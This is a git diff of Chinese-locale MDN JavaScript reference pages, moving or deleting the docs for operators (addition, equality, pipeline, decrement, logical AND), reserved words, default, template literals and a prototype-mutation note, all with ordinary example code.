{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
- -
- - - -

语法

- -
表达式: x + y
-
- -

示例

- -

数字的相加运算

- -
// Number + Number -> addition
-1 + 2 // 3
-
-// Boolean + Number -> addition
-true + 1 // 2
-
-// Boolean + Boolean -> addition
-false + false // 0
-
- -

字符串相加运算

- -
// String + String -> concatenation
-'foo' + 'bar' // "foobar"
-
-// Number + String -> concatenation
-5 + 'foo' // "5foo"
-
-// String + Boolean -> concatenation
-'foo' + false // "foofalse"
- -

注: '+'两侧只要有一侧是字符串,另一侧的数字则会自动转换成字符串,因为其中存在隐式转换

- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.addition")}}

- -

参考

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" deleted file mode 100644 index e100ec1d2d..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\347\255\211/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: 相等(==) -slug: Web/JavaScript/Reference/Operators/相等 -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Operators/Equality ---- -
{{jsSidebar("Operators")}}
- -

等于运算符(==)检查其两个操作数是否相等,并返回Boolean结果。与严格相等运算符(===)不同,它会尝试强制类型转换并且比较不同类型的操作数。

- -
{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}
- -

语法

- -
x == y
-
- -

描述

- -

相等运算符(==!=)使用抽象相等比较算法比较两个操作数。可以大致概括如下:

- -
    -
  • 如果两个操作数都是对象,则仅当两个操作数都引用同一个对象时才返回true
  • -
  • 如果一个操作数是null,另一个操作数是undefined,则返回true
  • -
  • 如果两个操作数是不同类型的,就会尝试在比较之前将它们转换为相同类型: -
      -
    • 当数字与字符串进行比较时,会尝试将字符串转换为数字值。
    • -
    • 如果操作数之一是Boolean,则将布尔操作数转换为1或0。 -
        -
      • 如果是true,则转换为1
      • -
      • 如果是 false,则转换为0
      • -
      -
    • -
    • 如果操作数之一是对象,另一个是数字或字符串,会尝试使用对象的valueOf()toString()方法将对象转换为原始值。
    • -
    -
  • -
  • 如果操作数具有相同的类型,则将它们进行如下比较: -
      -
    • Stringtrue仅当两个操作数具有相同顺序的相同字符时才返回。
    • -
    • Numbertrue仅当两个操作数具有相同的值时才返回。+0并被-0视为相同的值。如果任一操作数为NaN,则返回false
    • -
    • Booleantrue仅当操作数为两个true或两个false时才返回true
    • -
    -
  • -
- -

此运算符与严格等于===)运算符之间最显着的区别在于,严格等于运算符不尝试类型转换。相反,严格相等运算符始终将不同类型的操作数视为不同。

- -

例子

- -

没有类型转换的比较

- -
1 == 1;              // true
-"hello" == "hello";  // true
- -

与类型转换比较

- -
"1" ==  1;            // true
-1 == "1";             // true
-0 == false;           // true
-0 == null;            // false
-0 == undefined;       // false
-null == undefined;    // true
-
-const number1 = new Number(3);
-const number2 = new Number(3);
-number1 == 3;         // true
-number1 == number2;   // false
- -

对象比较

- -
const object1 = {"key": "value"}
-const object2 = {"key": "value"};
-
-object1 == object2 // false
-object2 == object2 // true
- -

比较字符串和String对象

- -

请注意,使用构造的字符串new String()是对象。如果将其中之一与字符串文字进行比较,则该String对象将被转换为字符串文字并对其内容进行比较。但是,如果两个操作数都是String对象,则将它们作为对象进行比较,并且必须引用相同的对象才能进行比较:

- -
const string1 = "hello";
-const string2 = String("hello");
-const string3 = new String("hello");
-const string4 = new String("hello");
-
-console.log(string1 == string2); // true
-console.log(string1 == string3); // true
-console.log(string2 == string3); // true
-console.log(string3 == string4); // false
-console.log(string4 == string4); // true
- -

比较日期和字符串

- -
const d = new Date('December 17, 1995 03:24:00');
-const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
-console.log(d == s);    //true
- -

技术指标

- - - - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}
- -

浏览器兼容性

- -

{{Compat("javascript.operators.equality")}}

- -

参见

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" deleted file mode 100644 index 06ce40ad0b..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\256\241\351\201\223\346\223\215\344\275\234\347\254\246/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: 管道操作符 -slug: Web/JavaScript/Reference/Operators/管道操作符 -tags: - - Experimental - - JavaScript - - Operator - - 语法糖 - - 链式 - - 链式调用 -translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator ---- -
{{jsSidebar("Operators")}} {{SeeCompatTable}}
- -

试验性的管道操作符 |> (目前其标准化流程处于 stage 1 阶段)允许以一种易读的方式去对函数链式调用。本质上来说,管道操作符是单参数函数调用的语法糖,它允许你像这样执行一个调用:

- -
let url = "%21" |> decodeURI;
- -

使用传统语法写的话,等效的代码是这样的:

- -
let url = decodeURI("%21");
-
- -

语法

- -
expression |> function
- -

例子

- -

函数链式调用

- -

当链式调用多个函数时,使用管道操作符可以改善代码的可读性。

- -
const double = (n) => n * 2;
-const increment = (n) => n + 1;
-
-// 没有用管道操作符
-double(increment(double(5))); // 22
-
-// 用上管道操作符之后
-5 |> double |> increment |> double; // 22
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
Pipeline operator draftStage 1Not part of the ECMAScript specification yet.
- -

浏览器兼容性Edit

- -
- - -

{{Compat("javascript.operators.pipeline")}}

-
- -

参见

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" "b/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" deleted file mode 100644 index f405740df3..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\350\207\252\345\207\217/index.html" +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: 自减 (--) -slug: Web/JavaScript/Reference/Operators/自减 -tags: - - JavaScript - - 自减 - - 语法特性 - - 运算符 -translation_of: Web/JavaScript/Reference/Operators/Decrement ---- -
{{jsSidebar("Operators")}}
- -

 自减运算符(--) 将它的操作数减一,然后返回操作数.

- -
{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}
- -
- - - -


- 语法

- -
操作符: x-- or --x
-
- -

语法细节

- -

如果使用后缀式,即将操作符放在操作数的后面 (如,x--),运算会减一,然后返回减一之前的值。

- -

如果使用前缀式,即将操作符放在操作数的前面 (如,--x),运算会减一,然后返回减一之后的值。

- -

示例

- -

后缀式

- -
let x = 3;
-y = x--;
-
-// y = 3
-// x = 2
-
- -

前缀式

- -
let a = 2;
-b = --a;
-
-// a = 1
-// b = 1
-
- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-postfix-decrement-operator', '自减运算符')}}
- -


- 浏览器兼容性

- - - -

{{Compat("javascript.operators.decrement")}}

- -

相关链接

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" "b/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" deleted file mode 100644 index de38317f42..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\351\200\273\350\276\221\345\222\214/index.html" +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: 逻辑与(&&) -slug: Web/JavaScript/Reference/Operators/逻辑和 -translation_of: Web/JavaScript/Reference/Operators/Logical_AND ---- -
{{jsSidebar("Operators")}}
- -

The logical AND (&&) operator (logical conjunction) for a set of operands is true if and only if all of its operands are true. It is typically used with {{jsxref("Boolean")}} (logical) values. When it is, it returns a Boolean value. However, the && operator actually returns the value of one of the specified operands, so if this operator is used with non-Boolean values, it will return a non-Boolean value.

- -
{{EmbedInteractiveExample("pages/js/expressions-logical-and.html", "shorter")}}
- - - -

Syntax

- -
expr1 && expr2
-
- -

Description

- -

If expr1 can be converted to true, returns expr2; else, returns expr1.

- -

If a value can be converted to true, the value is so-called {{Glossary("truthy")}}. If a value can be converted to false, the value is so-called {{Glossary("falsy")}}.

- -

Examples of expressions that can be converted to false are:

- -
    -
  • null;
  • -
  • NaN;
  • -
  • 0;
  • -
  • empty string ("" or '' or ``);
  • -
  • undefined.
  • -
- -

Even though the && operator can be used with operands that are not Boolean values, it can still be considered a boolean operator since its return value can always be converted to a boolean primitive. To explicitly convert its return value (or any expression in general) to the corresponding boolean value, use a double NOT operator or the {{jsxref("Global_Objects/Boolean/Boolean", "Boolean")}} constructor.

- -

Short-circuit evaluation

- -

The logical AND expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule:

- -

(some falsy expression) && expr is short-circuit evaluated to the falsy expression;

- -

Short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place). This happens because the value of the operator is already determined after the evaluation of the first operand. See example:

- -
function A(){ console.log('called A'); return false; }
-function B(){ console.log('called B'); return true; }
-
-console.log( A() && B() );
-// logs "called A" due to the function call,
-// then logs false (which is the resulting value of the operator)
-
- -

Operator precedence

- -

The following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).

- -
true || false && false      // returns true, because && is executed first
-(true || false) && false    // returns false, because operator precedence cannot apply
- -

Examples

- -

Using AND

- -

The following code shows examples of the && (logical AND) operator.

- -
a1 = true  && true       // t && t returns true
-a2 = true  && false      // t && f returns false
-a3 = false && true       // f && t returns false
-a4 = false && (3 == 4)   // f && f returns false
-a5 = 'Cat' && 'Dog'      // t && t returns "Dog"
-a6 = false && 'Cat'      // f && t returns false
-a7 = 'Cat' && false      // t && f returns false
-a8 = ''    && false      // f && f returns ""
-a9 = false && ''         // f && f returns false
- -

Conversion rules for booleans

- -

Converting AND to OR

- -

The following operation involving booleans:

- -
bCondition1 && bCondition2
- -

is always equal to:

- -
!(!bCondition1 || !bCondition2)
- -

Converting OR to AND

- -

The following operation involving booleans:

- -
bCondition1 || bCondition2
- -

is always equal to:

- -
!(!bCondition1 && !bCondition2)
- -

Removing nested parentheses

- -

As logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.

- -

The following composite operation involving booleans:

- -
bCondition1 || (bCondition2 && bCondition3)
- -

is always equal to:

- -
bCondition1 || bCondition2 && bCondition3
- -

Specifications

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-LogicalANDExpression', 'Logical AND expression')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.operators.logical_and")}}

- -

See also

- -
    -
  • {{jsxref("Boolean")}}
  • -
  • {{Glossary("Truthy")}}
  • -
  • {{Glossary("Falsy")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/reserved_words/index.html b/files/zh-cn/web/javascript/reference/reserved_words/index.html deleted file mode 100644 index 0d52110bfa..0000000000 --- a/files/zh-cn/web/javascript/reference/reserved_words/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Reserved Words -slug: Web/JavaScript/Reference/Reserved_words -translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords -translation_of_original: Web/JavaScript/Reference/Reserved_Words ---- -

 

- -

以下这些是ECMAScript规范已经规定的关键字,不能用作变量、函数名、过程、和对象名:

- - - -

以下是ECMAScript规定的保留字:

- -
    -
  • abstract
  • -
  • boolean
  • -
  • byte
  • -
  • char
  • -
  • class
  • -
  • const
  • -
  • debugger
  • -
  • double
  • -
  • enum
  • -
  • export
  • -
  • extends
  • -
  • final
  • -
  • float
  • -
  • goto
  • -
  • implements
  • -
  • import
  • -
  • int
  • -
  • interface
  • -
  • long
  • -
  • native
  • -
  • package
  • -
  • private
  • -
  • protected
  • -
  • public
  • -
  • short
  • -
  • static
  • -
  • super
  • -
  • synchronized
  • -
  • throws
  • -
  • transient
  • -
  • volatile
  • -
- -

请注意,虽然ECMA-262还没有正式规定,但是在Mozilla中const,export和import已经被作为保留字对待。

- - - -

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Reserved_Words" } ) }}

diff --git a/files/zh-cn/web/javascript/reference/statements/default/index.html b/files/zh-cn/web/javascript/reference/statements/default/index.html deleted file mode 100644 index 12e076166c..0000000000 --- a/files/zh-cn/web/javascript/reference/statements/default/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: default -slug: Web/JavaScript/Reference/Statements/default -tags: - - JavaScript - - Keyword -translation_of: Web/JavaScript/Reference/Statements/switch -translation_of_original: Web/JavaScript/Reference/Statements/default ---- -
{{jsSidebar("Statements")}}
- -
- -

default 关键字可以在 JavaScript 的两种情况下使用:在 {{jsxref("Statements/switch", "switch")}} ,或 {{jsxref("Statements/export", "export")}} 中。

- -

语法

- -

在{{jsxref("Statements/switch", "switch")}} 语句中使用:

- -
switch (expression) {
-  case value1:
-    //当表达式的值和value1匹配执行这里的语句
-    [break;]
-  default:
-    //当表达式的值没有匹配,执行这里的语句
-    [break;]
-}
- -

在{{jsxref("Statements/export", "export")}} 中使用:

- -
export default nameN 
- -

描述

- -

更多细节,参见

- -
    -
  • {{jsxref("Statements/switch", "switch")}} 语句和
  • -
  • {{jsxref("Statements/export", "export")}} 语句页面。
  • -
- -

示例

- -

switch语句中使用default

- -

在以下示例中,如果expr为“Oranges”或“Apples”,程序将匹配“Oranges”或“Apples”的值并执行相应的声明。在任何其它情况下,default关键字将执行关联的语句。

- -
switch (expr) {
-  case "Oranges":
-    console.log("Oranges are $0.59 a pound.");
-    break;
-  case "Apples":
-    console.log("Apples are $0.32 a pound.");
-    break;
-  default:
-    console.log("Sorry, we are out of " + expr + ".");
-}
- -

export语句中使用default

- -

如果要导出单个值或需要模块的回调值,则可以使用默认导出: 

- -
// module "my-module.js"
-let cube = function cube(x) {
-  return x * x * x;
-}
-export default cube;
-
- -

然后,在另一个脚本中,默认导出将直接被导入:

- -
// module "my-module.js"
-import myFunction from 'my-module';
-console.log(myFunction(3)); // 27
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}{{Spec2('ES6')}}
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}}
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- - - -

{{Compat("javascript.statements.default")}}

- -

See also

- -
    -
  • {{jsxref("Statements/export", "export")}}
  • -
  • {{jsxref("Statements/switch", "switch")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/template_literals/index.html b/files/zh-cn/web/javascript/reference/template_literals/index.html new file mode 100644 index 0000000000..aec3adfb5b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/template_literals/index.html @@ -0,0 +1,261 @@ +--- +title: 模板字符串 +slug: Web/JavaScript/Reference/template_strings +tags: + - ECMAScript6 + - JavaScript + - Template string + - 模板字符串 +translation_of: Web/JavaScript/Reference/Template_literals +--- +
{{JsSidebar("More")}} 
+ +

模板字面量 是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。它们在ES2015规范的先前版本中被称为“模板字符串”。

+ +

语法

+ +
`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`
+
+ +

描述

+ +

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。在模版字符串内使用反引号(`)时,需要在它前面加转义符(\)。

+ +
`\`` === "`" // --> true
+ +

多行字符串

+ +

在新行中插入的任何字符都是模板字符串中的一部分,使用普通字符串,你可以通过以下的方式获得多行字符串:

+ +
console.log('string text line 1\n' +
+'string text line 2');
+// "string text line 1
+// string text line 2"
+ +

要获得同样效果的多行字符串,只需使用如下代码:

+ +
console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"
+ +

插入表达式

+ +

在普通字符串中嵌入表达式,必须使用如下语法:

+ +

 

+ +
var a = 5;
+var b = 10;
+console.log('Fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.');
+// "Fifteen is 15 and
+// not 20."
+ +

 

+ +

现在通过模板字符串,我们可以使用一种更优雅的方式来表示:

+ +

 

+ +
var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and
+not ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."
+ +

 

+ +

嵌套模板

+ +

在某些时候,嵌套模板是具有可配置字符串的最简单也是更可读的方法。 在模板中,只需在模板内的占位符 ${ } 内使用它们,就可以轻松地使用内部反引号。 例如,如果条件 a 是真的,那么返回这个模板化的文字。

+ +

ES5:

+ +
var classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');
+ +

在ES2015中使用模板文字而没有嵌套:

+ +
const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
+
+ +

 

+ +

在ES2015的嵌套模板字面量中:

+ +

 

+ +
const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
+ +

 

+ +

 

+ +

带标签的模板字符串

+ +

更高级的形式的模板字符串是带标签的模板字符串。标签使您可以用函数解析模板字符串。标签函数的第一个参数包含一个字符串值的数组。其余的参数与表达式相关。最后,你的函数可以返回处理好的的字符串(或者它可以返回完全不同的东西 , 如下个例子所述)。用于该标签的函数的名称可以被命名为任何名字。

+ +
var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+
+  var str0 = strings[0]; // "that "
+  var str1 = strings[1]; // " is a "
+
+  // There is technically a string after
+  // the final expression (in our example),
+  // but it is empty (""), so disregard.
+  // var str2 = strings[2];
+
+  var ageStr;
+  if (ageExp > 99){
+    ageStr = 'centenarian';
+  } else {
+    ageStr = 'youngster';
+  }
+
+  return str0 + personExp + str1 + ageStr;
+
+}
+
+var output = myTag`that ${ person } is a ${ age }`;
+
+console.log(output);
+// that Mike is a youngster
+ +

正如下面例子所展示的,标签函数并不一定需要返回一个字符串。

+ +
function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A');  // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'});  // "Hello World!"
+ +

原始字符串

+ +

在标签函数的第一个参数中,存在一个特殊的属性raw ,我们可以通过它来访问模板字符串的原始字符串,而不经过特殊字符的替换。

+ +
function tag(strings) {
+  console.log(strings.raw[0]);
+}
+
+tag`string text line 1 \n string text line 2`;
+// logs "string text line 1 \n string text line 2" ,
+// including the two characters '\' and 'n'
+ +

另外,使用{{jsxref("String.raw()")}} 方法创建原始字符串和使用默认模板函数和字符串连接创建是一样的。

+ +
var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"
+
+ +

带标签的模版字面量及转义序列

+ +

自ES2016起,带标签的模版字面量遵守以下转义序列的规则:

+ +
    +
  • Unicode字符以"\u"开头,例如\u00A9
  • +
  • Unicode码位用"\u{}"表示,例如\u{2F804}
  • +
  • 十六进制以"\x"开头,例如\xA9
  • +
  • 八进制以"\"和数字开头,例如\251
  • +
+ +

这表示类似下面这种带标签的模版是有问题的,因为对于每一个ECMAScript语法,解析器都会去查找有效的转义序列,但是只能得到这是一个形式错误的语法:

+ +
latex`\unicode`
+// 在较老的ECMAScript版本中报错(ES2016及更早)
+// SyntaxError: malformed Unicode character escape sequence
+
+ +

ES2018关于非法转义序列的修订

+ +

带标签的模版字符串应该允许嵌套支持常见转义序列的语言(例如DSLsLaTeX)。ECMAScript提议模版字面量修订(第4阶段,将要集成到ECMAScript 2018标准) 移除对ECMAScript在带标签的模版字符串中转义序列的语法限制。

+ +

不过,非法转义序列在"cooked"当中仍然会体现出来。它们将以 {{jsxref("undefined")}} 元素的形式存在于"cooked"之中:

+ +
function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\\unicode" }
+ +

值得注意的是,这一转义序列限制只对带标签的模板字面量移除,而不包括不带标签的模板字面量:

+ +
let bad = `bad escape sequence: \unicode`;
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Initial definition. Defined in several section of the specification: Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Defined in several section of the specification: Template Literals, Tagged Templates
Template Literal RevisionStage 4 draftDrops escape sequence restriction from tagged templates
+ +

浏览器兼容

+ +
+ + +

{{Compat("javascript.grammar.template_literals")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/javascript/reference/template_strings/index.html b/files/zh-cn/web/javascript/reference/template_strings/index.html deleted file mode 100644 index aec3adfb5b..0000000000 --- a/files/zh-cn/web/javascript/reference/template_strings/index.html +++ /dev/null @@ -1,261 +0,0 @@ ---- -title: 模板字符串 -slug: Web/JavaScript/Reference/template_strings -tags: - - ECMAScript6 - - JavaScript - - Template string - - 模板字符串 -translation_of: Web/JavaScript/Reference/Template_literals ---- -
{{JsSidebar("More")}} 
- -

模板字面量 是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。它们在ES2015规范的先前版本中被称为“模板字符串”。

- -

语法

- -
`string text`
-
-`string text line 1
- string text line 2`
-
-`string text ${expression} string text`
-
-tag `string text ${expression} string text`
-
- -

描述

- -

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。在模版字符串内使用反引号(`)时,需要在它前面加转义符(\)。

- -
`\`` === "`" // --> true
- -

多行字符串

- -

在新行中插入的任何字符都是模板字符串中的一部分,使用普通字符串,你可以通过以下的方式获得多行字符串:

- -
console.log('string text line 1\n' +
-'string text line 2');
-// "string text line 1
-// string text line 2"
- -

要获得同样效果的多行字符串,只需使用如下代码:

- -
console.log(`string text line 1
-string text line 2`);
-// "string text line 1
-// string text line 2"
- -

插入表达式

- -

在普通字符串中嵌入表达式,必须使用如下语法:

- -

 

- -
var a = 5;
-var b = 10;
-console.log('Fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.');
-// "Fifteen is 15 and
-// not 20."
- -

 

- -

现在通过模板字符串,我们可以使用一种更优雅的方式来表示:

- -

 

- -
var a = 5;
-var b = 10;
-console.log(`Fifteen is ${a + b} and
-not ${2 * a + b}.`);
-// "Fifteen is 15 and
-// not 20."
- -

 

- -

嵌套模板

- -

在某些时候,嵌套模板是具有可配置字符串的最简单也是更可读的方法。 在模板中,只需在模板内的占位符 ${ } 内使用它们,就可以轻松地使用内部反引号。 例如,如果条件 a 是真的,那么返回这个模板化的文字。

- -

ES5:

- -
var classes = 'header'
-classes += (isLargeScreen() ?
-   '' : item.isCollapsed ?
-     ' icon-expander' : ' icon-collapser');
- -

在ES2015中使用模板文字而没有嵌套:

- -
const classes = `header ${ isLargeScreen() ? '' :
-    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
-
- -

 

- -

在ES2015的嵌套模板字面量中:

- -

 

- -
const classes = `header ${ isLargeScreen() ? '' :
- `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
- -

 

- -

 

- -

带标签的模板字符串

- -

更高级的形式的模板字符串是带标签的模板字符串。标签使您可以用函数解析模板字符串。标签函数的第一个参数包含一个字符串值的数组。其余的参数与表达式相关。最后,你的函数可以返回处理好的的字符串(或者它可以返回完全不同的东西 , 如下个例子所述)。用于该标签的函数的名称可以被命名为任何名字。

- -
var person = 'Mike';
-var age = 28;
-
-function myTag(strings, personExp, ageExp) {
-
-  var str0 = strings[0]; // "that "
-  var str1 = strings[1]; // " is a "
-
-  // There is technically a string after
-  // the final expression (in our example),
-  // but it is empty (""), so disregard.
-  // var str2 = strings[2];
-
-  var ageStr;
-  if (ageExp > 99){
-    ageStr = 'centenarian';
-  } else {
-    ageStr = 'youngster';
-  }
-
-  return str0 + personExp + str1 + ageStr;
-
-}
-
-var output = myTag`that ${ person } is a ${ age }`;
-
-console.log(output);
-// that Mike is a youngster
- -

正如下面例子所展示的,标签函数并不一定需要返回一个字符串。

- -
function template(strings, ...keys) {
-  return (function(...values) {
-    var dict = values[values.length - 1] || {};
-    var result = [strings[0]];
-    keys.forEach(function(key, i) {
-      var value = Number.isInteger(key) ? values[key] : dict[key];
-      result.push(value, strings[i + 1]);
-    });
-    return result.join('');
-  });
-}
-
-var t1Closure = template`${0}${1}${0}!`;
-t1Closure('Y', 'A');  // "YAY!"
-var t2Closure = template`${0} ${'foo'}!`;
-t2Closure('Hello', {foo: 'World'});  // "Hello World!"
- -

原始字符串

- -

在标签函数的第一个参数中,存在一个特殊的属性raw ,我们可以通过它来访问模板字符串的原始字符串,而不经过特殊字符的替换。

- -
function tag(strings) {
-  console.log(strings.raw[0]);
-}
-
-tag`string text line 1 \n string text line 2`;
-// logs "string text line 1 \n string text line 2" ,
-// including the two characters '\' and 'n'
- -

另外,使用{{jsxref("String.raw()")}} 方法创建原始字符串和使用默认模板函数和字符串连接创建是一样的。

- -
var str = String.raw`Hi\n${2+3}!`;
-// "Hi\n5!"
-
-str.length;
-// 6
-
-str.split('').join(',');
-// "H,i,\,n,5,!"
-
- -

带标签的模版字面量及转义序列

- -

自ES2016起,带标签的模版字面量遵守以下转义序列的规则:

- -
    -
  • Unicode字符以"\u"开头,例如\u00A9
  • -
  • Unicode码位用"\u{}"表示,例如\u{2F804}
  • -
  • 十六进制以"\x"开头,例如\xA9
  • -
  • 八进制以"\"和数字开头,例如\251
  • -
- -

这表示类似下面这种带标签的模版是有问题的,因为对于每一个ECMAScript语法,解析器都会去查找有效的转义序列,但是只能得到这是一个形式错误的语法:

- -
latex`\unicode`
-// 在较老的ECMAScript版本中报错(ES2016及更早)
-// SyntaxError: malformed Unicode character escape sequence
-
- -

ES2018关于非法转义序列的修订

- -

带标签的模版字符串应该允许嵌套支持常见转义序列的语言(例如DSLsLaTeX)。ECMAScript提议模版字面量修订(第4阶段,将要集成到ECMAScript 2018标准) 移除对ECMAScript在带标签的模版字符串中转义序列的语法限制。

- -

不过,非法转义序列在"cooked"当中仍然会体现出来。它们将以 {{jsxref("undefined")}} 元素的形式存在于"cooked"之中:

- -
function latex(str) {
- return { "cooked": str[0], "raw": str.raw[0] }
-}
-
-latex`\unicode`
-
-// { cooked: undefined, raw: "\\unicode" }
- -

值得注意的是,这一转义序列限制只对带标签的模板字面量移除,而不包括不带标签的模板字面量:

- -
let bad = `bad escape sequence: \unicode`;
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}{{Spec2('ES2015')}}Initial definition. Defined in several section of the specification: Template Literals, Tagged Templates
{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}{{Spec2('ESDraft')}}Defined in several section of the specification: Template Literals, Tagged Templates
Template Literal RevisionStage 4 draftDrops escape sequence restriction from tagged templates
- -

浏览器兼容

- -
- - -

{{Compat("javascript.grammar.template_literals")}}

-
- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html deleted file mode 100644 index aacff4c8d9..0000000000 --- a/files/zh-cn/web/javascript/the_performance_hazards_of__[[prototype]]_mutation/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: 'The performance hazards of [[Prototype]] mutation' -slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' -translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' ---- -

{{draft}}

- -

{{jsSidebar("Advanced")}}

- -

每个JavaScript对象都拥有一个[[Prototype]]对象。  获取一个对象的属性时首先会搜索其自身, 然后就是它的 [[Prototype]]对象, 之后再搜索此[[Prototype]]对象的 [[Prototype]]对象, 直到找到这个属性或者搜索链条达到终点. 这个类似链条的查找过程被称为原型链。  原型链在对象继承中非常重要。

- -

ECMAScript 6 引入了一种方式来修改 [[Prototype]]对象。 提升了灵活性的代价是降低了性能。 修改[[Prototype]] 对象会损害降低所有现代 JavaScrip引擎的性能。这篇文章解释了修改 [[Prototype]] 对象在所有浏览器中都很慢的原因并给出了替代方案。

- -

JavaScript引擎是如何提升访问对象属性的性能的

- -

